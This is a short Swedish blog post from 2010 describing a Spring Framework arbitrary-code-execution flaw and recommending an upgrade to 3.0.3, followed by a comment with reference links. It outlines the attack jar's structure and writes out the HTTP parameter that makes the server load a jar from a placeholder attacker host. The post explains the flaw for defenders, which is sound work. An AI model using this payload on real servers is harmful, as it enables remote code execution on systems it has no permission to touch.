söndag 20 juni 2010

Arbitrary Code Execution i Spring

Spring publicerade en allvarlig säkerhetsbugg i torsdags.

Genom att bygga en attack-jar med:
  • META-INF/spring-form.tld som definierar Spring form-taggar som tagg-filer, inte klasser,
  • Tagg-filer med valfri attackkod i Java i META-INF/tags/
... och sen skicka in följande HTTP-parameter till en form controller:
  • class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/
... så skriver attackeraren över den första jar-URL:en i klassladdaren för webb-containern (WebappClassLoader), t ex i Tomcat.

org.apache.jasper.compiler.TldLocationsCache.scanJars() kommer då att hämta attack-jaren och använda den för Spring-taggarna.

Vem drabbas och hur lösa problemet?
Det är väldigt ont om information som det verkar. Därav min något luddiga post. T ex är säkerhetsbuggen rapporterad för Spring Framework men referensen till form controller får mig att tänka Spring MVC. Någon som vet mer?

Det verkar hur som helst vara en riktigt otäck bugg så en uppgradering till 3.0.3 är lämplig.

1 kommentar:

Peter Magnusson, Omegapoint sa...

Sårbarheten har vi beskriven utförligt här:
http://blog.o0o.nu/2010/06/cve-2010-1622.html

Och historisk bakgrund är att man kan skriva till alla bean properties, även i fall där det är allt annat än självklart. Mycket gammalt snack om det här och exempel på vad mer man kan göra och vad folk tyckt om det historiskt sätt (2008 och tidigare)
http://www.ouncelabs.com/writable//resources/file/ounce_springframework_vulnerabilities.pdf
http://forum.springsource.org/showthread.php?t=57515
http://www.infoq.com/news/2008/07/spring-mvc-advisory